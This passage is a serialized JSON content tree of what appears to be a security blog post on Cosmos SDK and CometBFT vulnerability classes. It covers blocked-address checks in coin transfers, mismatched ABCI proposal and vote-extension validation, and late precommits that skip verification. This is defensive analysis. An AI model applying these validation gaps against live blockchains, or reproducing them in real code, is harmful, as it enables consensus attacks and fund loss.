recipient",{"type":22,"tag":101,"props":85662,"children":85663},{"style":120},[85664],{"type":27,"value":758},{"type":22,"tag":101,"props":85666,"children":85667},{"style":126},[85668],{"type":27,"value":52417},{"type":22,"tag":101,"props":85670,"children":85671},{"style":166},[85672],{"type":27,"value":79923},{"type":22,"tag":101,"props":85674,"children":85675},{"style":126},[85676],{"type":27,"value":82148},{"type":22,"tag":101,"props":85678,"children":85679},{"style":120},[85680],{"type":27,"value":231},{"type":22,"tag":101,"props":85682,"children":85683},{"style":926},[85684],{"type":27,"value":85685},"AccAddressFromBech32",{"type":22,"tag":101,"props":85687,"children":85688},{"style":120},[85689],{"type":27,"value":980},{"type":22,"tag":101,"props":85691,"children":85692},{"style":126},[85693],{"type":27,"value":85635},{"type":22,"tag":101,"props":85695,"children":85696},{"style":120},[85697],{"type":27,"value":231},{"type":22,"tag":101,"props":85699,"children":85700},{"style":126},[85701],{"type":27,"value":85702},"Recipient",{"type":22,"tag":101,"props":85704,"children":85705},{"style":120},[85706],{"type":27,"value":2510},{"type":22,"tag":101,"props":85708,"children":85709},{"class":103,"line":7829},[85710,85714,85718,85722,85726],{"type":22,"tag":101,"props":85711,"children":85712},{"style":3595},[85713],{"type":27,"value":7312},{"type":22,"tag":101,"props":85715,"children":85716},{"style":126},[85717],{"type":27,"value":52518},{"type":22,"tag":101,"props":85719,"children":85720},{"style":166},[85721],{"type":27,"value":3612},{"type":22,"tag":101,"props":85723,"children":85724},{"style":108},[85725],{"type":27,"value":85425},{"type":22,"tag":101,"props":85727,"children":85728},{"style":120},[85729],{"type":27,"value":154},{"type":22,"tag":101,"props":85731,"children":85732},{"class":103,"line":7837},[85733,85737,85742,85746,85750,85754,85759,85763,85767],{"type":22,"tag":101,"props":85734,"children":85735},{"style":3595},[85736],{"type":27,"value":82583},{"type":22,"tag":101,"props":85738,"children":85739},{"style":126},[85740],{"type":27,"value":85741}," fmt",{"type":22,"tag":101,"props":85743,"children":85744},{"style":120},[85745],{"type":27,"value":231},{"type":22,"tag":101,"props":85747,"children":85748},{"style":926},[85749],{"type":27,"value":85458},{"type":22,"tag":101,"props":85751,"children":85752},{"style":120},[85753],{"type":27,"value":980},{"type":22,"tag":101,"props":85755,"children":85756},{"style":6476},[85757],{"type":27,"value":85758},"\"failed to parse recipient address: %w\"",{"type":22,"tag":101,"props":85760,"children":85761},{"style":120},[85762],{"type":27,"value":758},{"type":22,"tag":101,"props":85764,"children":85765},{"style":126},[85766],{"type":27,"value":52417},{"type":22,"tag":101,"props":85768,"children":85769},{"style":120},[85770],{"type":27,"value":2510},{"type":22,"tag":101,"props":85772,"children":85773},{"class":103,"line":7868},[85774],{"type":22,"tag":101,"props":85775,"children":85776},{"style":120},[85777],{"type":27,"value":2398},{"type":22,"tag":101,"props":85779,"children":85780},{"class":103,"line":7876},[85781],{"type":22,"tag":101,"props":85782,"children":85783},{"emptyLinePlaceholder":15},[85784],{"type":27,"value":1581},{"type":22,"tag":101,"props":85786,"children":85787},{"class":103,"line":7936},[85788,85792,85797,85801,85806,85810,85814,85818,85823,85827,85832],{"type":22,"tag":101,"props":85789,"children":85790},{"style":3595},[85791],{"type":27,"value":7312},{"type":22,"tag":101,"props":85793,"children":85794},{"style":126},[85795],{"type":27,"value":85796}," bytes",{"type":22,"tag":101,"props":85798,"children":85799},{"style":120},[85800],{"type":27,"value":231},{"type":22,"tag":101,"props":85802,"children":85803},{"style":926},[85804],{"type":27,"value":85805},"Equal",{"type":22,"tag":101,"props":85807,"children":85808},{"style":120},[85809],{"type":27,"value":980},{"type":22,"tag":101,"props":85811,"children":85812},{"style":126},[85813],{"type":27,"value":85635},{"type":22,"tag":101,"props":85815,"children":85816},{"style":120},[85817],{"type":27,"value":231},{"type":22,"tag":101,"props":85819,"children":85820},{"style":926},[85821],{"type":27,"value":85822},"TokenBytes",{"type":22,"tag":101,"props":85824,"children":85825},{"style":120},[85826],{"type":27,"value":1147},{"type":22,"tag":101,"props":85828,"children":85829},{"style":126},[85830],{"type":27,"value":85831},"sourceBTCToken",{"type":22,"tag":101,"props":85833,"children":85834},{"style":120},[85835],{"type":27,"value":1463},{"type":22,"tag":101,"props":85837,"children":85838},{"class":103,"line":13054},[85839,85844,85848,85852,85856,85861,85865,85869,85873,85877,85881,85885,85889,85893],{"type":22,"tag":101,"props":85840,"children":85841},{"style":126},[85842],{"type":27,"value":85843}," err",{"type":22,"tag":101,"props":85845,"children":85846},{"style":166},[85847],{"type":27,"value":960},{"type":22,"tag":101,"props":85849,"children":85850},{"style":126},[85851],{"type":27,"value":84763},{"type":22,"tag":101,"props":85853,"children":85854},{"style":120},[85855],{"type":27,"value":231},{"type":22,"tag":101,"props":85857,"children":85858},{"style":926},[85859],{"type":27,"value":85860},"mintBTC",{"type":22,"tag":101,"props":85862,"children":85863},{"style":120},[85864],{"type":27,"value":980},{"type":22,"tag":101,"props":85866,"children":85867},{"style":126},[85868],{"type":27,"value":24271},{"type":22,"tag":101,"props":85870,"children":85871},{"style":120},[85872],{"type":27,"value":758},{"type":22,"tag":101,"props":85874,"children":85875},{"style":126},[85876],{"type":27,"value":85158},{"type":22,"tag":101,"props":85878,"children":85879},{"style":120},[85880],{"type":27,"value":758},{"type":22,"tag":101,"props":85882,"children":85883},{"style":126},[85884],{"type":27,"value":85635},{"type":22,"tag":101,"props":85886,"children":85887},{"style":120},[85888],{"type":27,"value":231},{"type":22,"tag":101,"props":85890,"children":85891},{"style":126},[85892],{"type":27,"value":82562},{"type":22,"tag":101,"props":85894,"children":85895},{"style":120},[85896],{"type":27,"value":2510},{"type":22,"tag":101,"props":85898,"children":85899},{"class":103,"line":13072},[85900,85904,85908,85912,85916],{"type":22,"tag":101,"props":85901,"children":85902},{"style":3595},[85903],{"type":27,"value":62798},{"type":22,"tag":101,"props":85905,"children":85906},{"style":126},[85907],{"type":27,"value":52518},{"type":22,"tag":101,"props":85909,"children":85910},{"style":166},[85911],{"type":27,"value":3612},{"type":22,"tag":101,"props":85913,"children":85914},{"style":108},[85915],{"type":27,"value":85425},{"type":22,"tag":101,"props":85917,"children":85918},{"style":120},[85919],{"type":27,"value":154},{"type":22,"tag":101,"props":85921,"children":85922},{"class":103,"line":13117},[85923,85927,85931,85935,85939],{"type":22,"tag":101,"props":85924,"children":85925},{"style":3595},[85926],{"type":27,"value":64726},{"type":22,"tag":101,"props":85928,"children":85929},{"style":126},[85930],{"type":27,"value":85741},{"type":22,"tag":101,"props":85932,"children":85933},{"style":120},[85934],{"type":27,"value":231},{"type":22,"tag":101,"props":85936,"children":85937},{"style":926},[85938],{"type":27,"value":85458},{"type":22,"tag":101,"props":85940,"children":85941},{"style":120},[85942],{"type":27,"value":1850},{"type":22,"tag":101,"props":85944,"children":85945},{"class":103,"line":13223},[85946,85951],{"type":22,"tag":101,"props":85947,"children":85948},{"style":6476},[85949],{"type":27,"value":85950}," \"failed to mint BTC for event %v: %w\"",{"type":22,"tag":101,"props":85952,"children":85953},{"style":120},[85954],{"type":27,"value":179},{"type":22,"tag":101,"props":85956,"children":85957},{"class":103,"line":27496},[85958,85963,85967,85972],{"type":22,"tag":101,"props":85959,"children":85960},{"style":126},[85961],{"type":27,"value":85962}," event",{"type":22,"tag":101,"props":85964,"children":85965},{"style":120},[85966],{"type":27,"value":231},{"type":22,"tag":101,"props":85968,"children":85969},{"style":126},[85970],{"type":27,"value":85971},"Sequence",{"type":22,"tag":101,"props":85973,"children":85974},{"style":120},[85975],{"type":27,"value":179},{"type":22,"tag":101,"props":85977,"children":85978},{"class":103,"line":27531},[85979,85984],{"type":22,"tag":101,"props":85980,"children":85981},{"style":126},[85982],{"type":27,"value":85983}," err",{"type":22,"tag":101,"props":85985,"children":85986},{"style":120},[85987],{"type":27,"value":179},{"type":22,"tag":101,"props":85989,"children":85990},{"class":103,"line":27539},[85991],{"type":22,"tag":101,"props":85992,"children":85993},{"style":120},[85994],{"type":27,"value":85995}," )\n",{"type":22,"tag":101,"props":85997,"children":85998},{"class":103,"line":27547},[85999],{"type":22,"tag":101,"props":86000,"children":86001},{"style":120},[86002],{"type":27,"value":62882},{"type":22,"tag":101,"props":86004,"children":86005},{"class":103,"line":27556},[86006,86010,86014],{"type":22,"tag":101,"props":86007,"children":86008},{"style":120},[86009],{"type":27,"value":7349},{"type":22,"tag":101,"props":86011,"children":86012},{"style":3595},[86013],{"type":27,"value":7354},{"type":22,"tag":101,"props":86015,"children":86016},{"style":120},[86017],{"type":27,"value":154},{"type":22,"tag":101,"props":86019,"children":86020},{"class":103,"line":27598},[86021],{"type":22,"tag":101,"props":86022,"children":86023},{"style":166},[86024],{"type":27,"value":86025}," ...\n",{"type":22,"tag":101,"props":86027,"children":86028},{"class":103,"line":27631},[86029],{"type":22,"tag":101,"props":86030,"children":86031},{"style":120},[86032],{"type":27,"value":2398},{"type":22,"tag":101,"props":86034,"children":86035},{"class":103,"line":27639},[86036],{"type":22,"tag":101,"props":86037,"children":86038},{"style":120},[86039],{"type":27,"value":1734},{"type":22,"tag":101,"props":86041,"children":86042},{"class":103,"line":27647},[86043],{"type":22,"tag":101,"props":86044,"children":86045},{"style":166},[86046],{"type":27,"value":24329},{"type":22,"tag":101,"props":86048,"children":86049},{"class":103,"line":27656},[86050],{"type":22,"tag":101,"props":86051,"children":86052},{"style":120},[86053],{"type":27,"value":188},{"type":22,"tag":101,"props":86055,"children":86056},{"class":103,"line":27732},[86057],{"type":22,"tag":101,"props":86058,"children":86059},{"emptyLinePlaceholder":15},[86060],{"type":27,"value":1581},{"type":22,"tag":101,"props":86062,"children":86063},{"class":103,"line":27765},[86064,86068,86072,86076,86080,86084,86088],{"type":22,"tag":101,"props":86065,"children":86066},{"style":108},[86067],{"type":27,"value":79807},{"type":22,"tag":101,"props":86069,"children":86070},{"style":120},[86071],{"type":27,"value":3603},{"type":22,"tag":101,"props":86073,"children":86074},{"style":126},[86075],{"type":27,"value":84635},{"type":22,"tag":101,"props":86077,"children":86078},{"style":114},[86079],{"type":27,"value":83452},{"type":22,"tag":101,"props":86081,"children":86082},{"style":120},[86083],{"type":27,"value":901},{"type":22,"tag":101,"props":86085,"children":86086},{"style":926},[86087],{"type":27,"value":85860},{"type":22,"tag":101,"props":86089,"children":86090},{"style":120},[86091],{"type":27,"value":1850},{"type":22,"tag":101,"props":86093,"children":86094},{"class":103,"line":27773},[86095,86099,86103,86107,86111],{"type":22,"tag":101,"props":86096,"children":86097},{"style":126},[86098],{"type":27,"value":24215},{"type":22,"tag":101,"props":86100,"children":86101},{"style":114},[86102],{"type":27,"value":82148},{"type":22,"tag":101,"props":86104,"children":86105},{"style":120},[86106],{"type":27,"value":231},{"type":22,"tag":101,"props":86108,"children":86109},{"style":114},[86110],{"type":27,"value":79856},{"type":22,"tag":101,"props":86112,"children":86113},{"style":120},[86114],{"type":27,"value":179},{"type":22,"tag":101,"props":86116,"children":86117},{"class":103,"line":27781},[86118,86123,86127,86131,86136],{"type":22,"tag":101,"props":86119,"children":86120},{"style":126},[86121],{"type":27,"value":86122}," recipient",{"type":22,"tag":101,"props":86124,"children":86125},{"style":114},[86126],{"type":27,"value":82148},{"type":22,"tag":101,"props":86128,"children":86129},{"style":120},[86130],{"type":27,"value":231},{"type":22,"tag":101,"props":86132,"children":86133},{"style":114},[86134],{"type":27,"value":86135},"AccAddress",{"type":22,"tag":101,"props":86137,"children":86138},{"style":120},[86139],{"type":27,"value":179},{"type":22,"tag":101,"props":86141,"children":86142},{"class":103,"line":27818},[86143,86147,86152,86156,86161],{"type":22,"tag":101,"props":86144,"children":86145},{"style":126},[86146],{"type":27,"value":727},{"type":22,"tag":101,"props":86148,"children":86149},{"style":114},[86150],{"type":27,"value":86151}," math",{"type":22,"tag":101,"props":86153,"children":86154},{"style":120},[86155],{"type":27,"value":231},{"type":22,"tag":101,"props":86157,"children":86158},{"style":114},[86159],{"type":27,"value":86160},"Int",{"type":22,"tag":101,"props":86162,"children":86163},{"style":120},[86164],{"type":27,"value":179},{"type":22,"tag":101,"props":86166,"children":86167},{"class":103,"line":27831},[86168,86172,86176],{"type":22,"tag":101,"props":86169,"children":86170},{"style":120},[86171],{"type":27,"value":901},{"type":22,"tag":101,"props":86173,"children":86174},{"style":114},[86175],{"type":27,"value":18865},{"type":22,"tag":101,"props":86177,"children":86178},{"style":120},[86179],{"type":27,"value":154},{"type":22,"tag":101,"props":86181,"children":86182},{"class":103,"line":27844},[86183],{"type":22,"tag":101,"props":86184,"children":86185},{"style":166},[86186],{"type":27,"value":24329},{"type":22,"tag":101,"props":86188,"children":86189},{"class":103,"line":27857},[86190,86195,86199,86203,86207,86212,86216,86220],{"type":22,"tag":101,"props":86191,"children":86192},{"style":126},[86193],{"type":27,"value":86194}," err",{"type":22,"tag":101,"props":86196,"children":86197},{"style":166},[86198],{"type":27,"value":960},{"type":22,"tag":101,"props":86200,"children":86201},{"style":126},[86202],{"type":27,"value":84763},{"type":22,"tag":101,"props":86204,"children":86205},{"style":120},[86206],{"type":27,"value":231},{"type":22,"tag":101,"props":86208,"children":86209},{"style":126},[86210],{"type":27,"value":86211},"bankKeeper",{"type":22,"tag":101,"props":86213,"children":86214},{"style":120},[86215],{"type":27,"value":231},{"type":22,"tag":101,"props":86217,"children":86218},{"style":926},[86219],{"type":27,"value":85150},{"type":22,"tag":101,"props":86221,"children":86222},{"style":120},[86223],{"type":27,"value":1850},{"type":22,"tag":101,"props":86225,"children":86226},{"class":103,"line":27911},[86227,86231],{"type":22,"tag":101,"props":86228,"children":86229},{"style":126},[86230],{"type":27,"value":30184},{"type":22,"tag":101,"props":86232,"children":86233},{"style":120},[86234],{"type":27,"value":179},{"type":22,"tag":101,"props":86236,"children":86237},{"class":103,"line":27920},[86238,86243,86247,86252],{"type":22,"tag":101,"props":86239,"children":86240},{"style":126},[86241],{"type":27,"value":86242}," types",{"type":22,"tag":101,"props":86244,"children":86245},{"style":120},[86246],{"type":27,"value":231},{"type":22,"tag":101,"props":86248,"children":86249},{"style":126},[86250],{"type":27,"value":86251},"ModuleName",{"type":22,"tag":101,"props":86253,"children":86254},{"style":120},[86255],{"type":27,"value":179},{"type":22,"tag":101,"props":86257,"children":86258},{"class":103,"line":36277},[86259,86263],{"type":22,"tag":101,"props":86260,"children":86261},{"style":126},[86262],{"type":27,"value":85660},{"type":22,"tag":101,"props":86264,"children":86265},{"style":120},[86266],{"type":27,"value":179},{"type":22,"tag":101,"props":86268,"children":86269},{"class":103,"line":36298},[86270,86275],{"type":22,"tag":101,"props":86271,"children":86272},{"style":126},[86273],{"type":27,"value":86274}," coins",{"type":22,"tag":101,"props":86276,"children":86277},{"style":120},[86278],{"type":27,"value":179},{"type":22,"tag":101,"props":86280,"children":86281},{"class":103,"line":84458},[86282],{"type":22,"tag":101,"props":86283,"children":86284},{"style":120},[86285],{"type":27,"value":27917},{"type":22,"tag":101,"props":86287,"children":86288},{"class":103,"line":84471},[86289,86293,86297,86301,86305],{"type":22,"tag":101,"props":86290,"children":86291},{"style":3595},[86292],{"type":27,"value":16283},{"type":22,"tag":101,"props":86294,"children":86295},{"style":126},[86296],{"type":27,"value":52518},{"type":22,"tag":101,"props":86298,"children":86299},{"style":166},[86300],{"type":27,"value":3612},{"type":22,"tag":101,"props":86302,"children":86303},{"style":108},[86304],{"type":27,"value":85425},{"type":22,"tag":101,"props":86306,"children":86307},{"style":120},[86308],{"type":27,"value":154},{"type":22,"tag":101,"props":86310,"children":86311},{"class":103,"line":84479},[86312,86316,86320,86324,86328,86332,86337,86341,86345],{"type":22,"tag":101,"props":86313,"children":86314},{"style":3595},[86315],{"type":27,"value":19742},{"type":22,"tag":101,"props":86317,"children":86318},{"style":126},[86319],{"type":27,"value":85741},{"type":22,"tag":101,"props":86321,"children":86322},{"style":120},[86323],{"type":27,"value":231},{"type":22,"tag":101,"props":86325,"children":86326},{"style":926},[86327],{"type":27,"value":85458},{"type":22,"tag":101,"props":86329,"children":86330},{"style":120},[86331],{"type":27,"value":980},{"type":22,"tag":101,"props":86333,"children":86334},{"style":6476},[86335],{"type":27,"value":86336},"\"failed to send coins: %w\"",{"type":22,"tag":101,"props":86338,"children":86339},{"style":120},[86340],{"type":27,"value":758},{"type":22,"tag":101,"props":86342,"children":86343},{"style":126},[86344],{"type":27,"value":52417},{"type":22,"tag":101,"props":86346,"children":86347},{"style":120},[86348],{"type":27,"value":2510},{"type":22,"tag":101,"props":86350,"children":86351},{"class":103,"line":84487},[86352],{"type":22,"tag":101,"props":86353,"children":86354},{"style":120},[86355],{"type":27,"value":1734},{"type":22,"tag":101,"props":86357,"children":86358},{"class":103,"line":84495},[86359],{"type":22,"tag":101,"props":86360,"children":86361},{"style":166},[86362],{"type":27,"value":24329},{"type":22,"tag":101,"props":86364,"children":86365},{"class":103,"line":84535},[86366],{"type":22,"tag":101,"props":86367,"children":86368},{"style":120},[86369],{"type":27,"value":188},{"type":22,"tag":91,"props":86371,"children":86373},{"code":86372,"language":79671,"meta":7,"className":79672,"style":7},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n return errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[86374],{"type":22,"tag":30,"props":86375,"children":86376},{"__ignoreMap":7},[86377,86409,86488,86503,86511,86542,86600,86607,86614],{"type":22,"tag":101,"props":86378,"children":86379},{"class":103,"line":104},[86380,86384,86388,86392,86397,86401,86405],{"type":22,"tag":101,"props":86381,"children":86382},{"style":108},[86383],{"type":27,"value":79807},{"type":22,"tag":101,"props":86385,"children":86386},{"style":120},[86387],{"type":27,"value":3603},{"type":22,"tag":101,"props":86389,"children":86390},{"style":126},[86391],{"type":27,"value":84635},{"type":22,"tag":101,"props":86393,"children":86394},{"style":114},[86395],{"type":27,"value":86396},"BaseKeeper",{"type":22,"tag":101,"props":86398,"children":86399},{"style":120},[86400],{"type":27,"value":901},{"type":22,"tag":101,"props":86402,"children":86403},{"style":926},[86404],{"type":27,"value":85150},{"type":22,"tag":101,"props":86406,"children":86407},{"style":120},[86408],{"type":27,"value":1850},{"type":22,"tag":101,"props":86410,"children":86411},{"class":103,"line":157},[86412,86416,86420,86424,86428,86432,86437,86441,86445,86450,86454,86458,86462,86466,86471,86475,86479,86484],{"type":22,"tag":101,"props":86413,"children":86414},{"style":126},[86415],{"type":27,"value":29841},{"type":22,"tag":101,"props":86417,"children":86418},{"style":114},[86419],{"type":27,"value":79847},{"type":22,"tag":101,"props":86421,"children":86422},{"style":120},[86423],{"type":27,"value":231},{"type":22,"tag":101,"props":86425,"children":86426},{"style":114},[86427],{"type":27,"value":79856},{"type":22,"tag":101,"props":86429,"children":86430},{"style":120},[86431],{"type":27,"value":758},{"type":22,"tag":101,"props":86433,"children":86434},{"style":126},[86435],{"type":27,"value":86436},"senderModule",{"type":22,"tag":101,"props":86438,"children":86439},{"style":114},[86440],{"type":27,"value":40026},{"type":22,"tag":101,"props":86442,"children":86443},{"style":120},[86444],{"type":27,"value":758},{"type":22,"tag":101,"props":86446,"children":86447},{"style":126},[86448],{"type":27,"value":86449},"recipientAddr",{"type":22,"tag":101,"props":86451,"children":86452},{"style":114},[86453],{"type":27,"value":82148},{"type":22,"tag":101,"props":86455,"children":86456},{"style":120},[86457],{"type":27,"value":231},{"type":22,"tag":101,"props":86459,"children":86460},{"style":114},[86461],{"type":27,"value":86135},{"type":22,"tag":101,"props":86463,"children":86464},{"style":120},[86465],{"type":27,"value":758},{"type":22,"tag":101,"props":86467,"children":86468},{"style":126},[86469],{"type":27,"value":86470},"amt",{"type":22,"tag":101,"props":86472,"children":86473},{"style":114},[86474],{"type":27,"value":82148},{"type":22,"tag":101,"props":86476,"children":86477},{"style":120},[86478],{"type":27,"value":231},{"type":22,"tag":101,"props":86480,"children":86481},{"style":114},[86482],{"type":27,"value":86483},"Coins",{"type":22,"tag":101,"props":86485,"children":86486},{"style":120},[86487],{"type":27,"value":179},{"type":22,"tag":101,"props":86489,"children":86490},{"class":103,"line":182},[86491,86495,86499],{"type":22,"tag":101,"props":86492,"children":86493},{"style":120},[86494],{"type":27,"value":901},{"type":22,"tag":101,"props":86496,"children":86497},{"style":114},[86498],{"type":27,"value":18865},{"type":22,"tag":101,"props":86500,"children":86501},{"style":120},[86502],{"type":27,"value":154},{"type":22,"tag":101,"props":86504,"children":86505},{"class":103,"line":367},[86506],{"type":22,"tag":101,"props":86507,"children":86508},{"style":166},[86509],{"type":27,"value":86510}," ...\n",{"type":22,"tag":101,"props":86512,"children":86513},{"class":103,"line":398},[86514,86518,86522,86526,86530,86534,86538],{"type":22,"tag":101,"props":86515,"children":86516},{"style":3595},[86517],{"type":27,"value":19786},{"type":22,"tag":101,"props":86519,"children":86520},{"style":126},[86521],{"type":27,"value":84763},{"type":22,"tag":101,"props":86523,"children":86524},{"style":120},[86525],{"type":27,"value":231},{"type":22,"tag":101,"props":86527,"children":86528},{"style":926},[86529],{"type":27,"value":85166},{"type":22,"tag":101,"props":86531,"children":86532},{"style":120},[86533],{"type":27,"value":980},{"type":22,"tag":101,"props":86535,"children":86536},{"style":126},[86537],{"type":27,"value":86449},{"type":22,"tag":101,"props":86539,"children":86540},{"style":120},[86541],{"type":27,"value":1463},{"type":22,"tag":101,"props":86543,"children":86544},{"class":103,"line":428},[86545,86549,86554,86558,86562,86566,86570,86574,86579,86583,86588,86592,86596],{"type":22,"tag":101,"props":86546,"children":86547},{"style":3595},[86548],{"type":27,"value":43193},{"type":22,"tag":101,"props":86550,"children":86551},{"style":126},[86552],{"type":27,"value":86553}," errorsmod",{"type":22,"tag":101,"props":86555,"children":86556},{"style":120},[86557],{"type":27,"value":231},{"type":22,"tag":101,"props":86559,"children":86560},{"style":926},[86561],{"type":27,"value":84417},{"type":22,"tag":101,"props":86563,"children":86564},{"style":120},[86565],{"type":27,"value":980},{"type":22,"tag":101,"props":86567,"children":86568},{"style":126},[86569],{"type":27,"value":84079},{"type":22,"tag":101,"props":86571,"children":86572},{"style":120},[86573],{"type":27,"value":231},{"type":22,"tag":101,"props":86575,"children":86576},{"style":126},[86577],{"type":27,"value":86578},"ErrUnauthorized",{"type":22,"tag":101,"props":86580,"children":86581},{"style":120},[86582],{"type":27,"value":758},{"type":22,"tag":101,"props":86584,"children":86585},{"style":6476},[86586],{"type":27,"value":86587},"\"%s is not allowed to receive funds\"",{"type":22,"tag":101,"props":86589,"children":86590},{"style":120},[86591],{"type":27,"value":758},{"type":22,"tag":101,"props":86593,"children":86594},{"style":126},[86595],{"type":27,"value":86449},{"type":22,"tag":101,"props":86597,"children":86598},{"style":120},[86599],{"type":27,"value":2510},{"type":22,"tag":101,"props":86601,"children":86602},{"class":103,"line":997},[86603],{"type":22,"tag":101,"props":86604,"children":86605},{"style":120},[86606],{"type":27,"value":13601},{"type":22,"tag":101,"props":86608,"children":86609},{"class":103,"line":1032},[86610],{"type":22,"tag":101,"props":86611,"children":86612},{"style":166},[86613],{"type":27,"value":86510},{"type":22,"tag":101,"props":86615,"children":86616},{"class":103,"line":1063},[86617],{"type":22,"tag":101,"props":86618,"children":86619},{"style":120},[86620],{"type":27,"value":188},{"type":22,"tag":23,"props":86622,"children":86623},{},[86624,86626,86633],{"type":27,"value":86625},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":22,"tag":80,"props":86627,"children":86630},{"href":86628,"rel":86629},"https://hackerone.com/reports/3018307",[84],[86631],{"type":27,"value":86632},"improper decimal handling in the group module",{"type":27,"value":231},{"type":22,"tag":53,"props":86635,"children":86637},{"id":86636},"same-same-but-different",[86638],{"type":27,"value":86639},"Same, Same... But Different",{"type":22,"tag":23,"props":86641,"children":86642},{},[86643,86645,86651,86652,86658,86659,86665,86666,86672],{"type":27,"value":86644},"Cosmos exposes several consensus-level interfaces, such as ",{"type":22,"tag":30,"props":86646,"children":86648},{"className":86647},[],[86649],{"type":27,"value":86650},"PrepareProposal",{"type":27,"value":758},{"type":22,"tag":30,"props":86653,"children":86655},{"className":86654},[],[86656],{"type":27,"value":86657},"ProcessProposal",{"type":27,"value":758},{"type":22,"tag":30,"props":86660,"children":86662},{"className":86661},[],[86663],{"type":27,"value":86664},"ExtendVote",{"type":27,"value":10515},{"type":22,"tag":30,"props":86667,"children":86669},{"className":86668},[],[86670],{"type":27,"value":86671},"VerifyVoteExtension",{"type":27,"value":86673},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":22,"tag":23,"props":86675,"children":86676},{},[86677],{"type":27,"value":86678},"Two of the best-known attack surfaces are",{"type":22,"tag":6828,"props":86680,"children":86681},{},[86682,86711],{"type":22,"tag":6832,"props":86683,"children":86684},{},[86685,86690,86691,86696,86698,86703,86704,86709],{"type":22,"tag":30,"props":86686,"children":86688},{"className":86687},[],[86689],{"type":27,"value":86650},{"type":27,"value":3603},{"type":22,"tag":30,"props":86692,"children":86694},{"className":86693},[],[86695],{"type":27,"value":86664},{"type":27,"value":86697},") outputs being rejected due to ",{"type":22,"tag":30,"props":86699,"children":86701},{"className":86700},[],[86702],{"type":27,"value":86657},{"type":27,"value":3603},{"type":22,"tag":30,"props":86705,"children":86707},{"className":86706},[],[86708],{"type":27,"value":86671},{"type":27,"value":86710},") over-validating, resulting in liveness failures.",{"type":22,"tag":6832,"props":86712,"children":86713},{},[86714,86716,86721,86722,86727,86729,86734,86735,86740],{"type":27,"value":86715},"Malicious proposals and vote extensions not created through the ",{"type":22,"tag":30,"props":86717,"children":86719},{"className":86718},[],[86720],{"type":27,"value":86650},{"type":27,"value":3603},{"type":22,"tag":30,"props":86723,"children":86725},{"className":86724},[],[86726],{"type":27,"value":86664},{"type":27,"value":86728},") are accepted due to ",{"type":22,"tag":30,"props":86730,"children":86732},{"className":86731},[],[86733],{"type":27,"value":86657},{"type":27,"value":3603},{"type":22,"tag":30,"props":86736,"children":86738},{"className":86737},[],[86739],{"type":27,"value":86671},{"type":27,"value":86741},") under-validating.",{"type":22,"tag":23,"props":86743,"children":86744},{},[86745],{"type":27,"value":86746},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":22,"tag":23,"props":86748,"children":86749},{},[86750,86752,86758,86760,86765],{"type":27,"value":86751},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":22,"tag":30,"props":86753,"children":86755},{"className":86754},[],[86756],{"type":27,"value":86757},"VoteExtensions",{"type":27,"value":86759}," within ",{"type":22,"tag":30,"props":86761,"children":86763},{"className":86762},[],[86764],{"type":27,"value":86650},{"type":27,"value":86766},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":22,"tag":23,"props":86768,"children":86769},{},[86770,86772,86777,86779,86784],{"type":27,"value":86771},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":22,"tag":30,"props":86773,"children":86775},{"className":86774},[],[86776],{"type":27,"value":86664},{"type":27,"value":86778}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":22,"tag":30,"props":86780,"children":86782},{"className":86781},[],[86783],{"type":27,"value":86671},{"type":27,"value":86785},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":22,"tag":23,"props":86787,"children":86788},{},[86789,86791,86796],{"type":27,"value":86790},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":22,"tag":30,"props":86792,"children":86794},{"className":86793},[],[86795],{"type":27,"value":86671},{"type":27,"value":86797}," check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":22,"tag":23,"props":86799,"children":86800},{},[86801,86803,86808,86810,86816],{"type":27,"value":86802},"Unfortunately, CometBTF directly accepts late precommits without passing them through ",{"type":22,"tag":30,"props":86804,"children":86806},{"className":86805},[],[86807],{"type":27,"value":86671},{"type":27,"value":86809},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring the leader into including invalid vote extensions into its ",{"type":22,"tag":30,"props":86811,"children":86813},{"className":86812},[],[86814],{"type":27,"value":86815},"Proposal",{"type":27,"value":231},{"type":22,"tag":91,"props":86818,"children":86820},{"code":86819,"language":79671,"meta":7,"className":79672,"style":7},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n ...\n\n // A precommit for the previous height?\n // These come in while we wait timeoutCommit\n if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n ...\n // Late precommits are not checked by VerifyVoteExtension\n added, err = cs.LastCommit.AddVote(vote)\n ...\n return added, err\n }\n extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n if extEnabled {\n ...\n if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n ...\n err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n ...\n }\n } else if {\n ...\n }\n 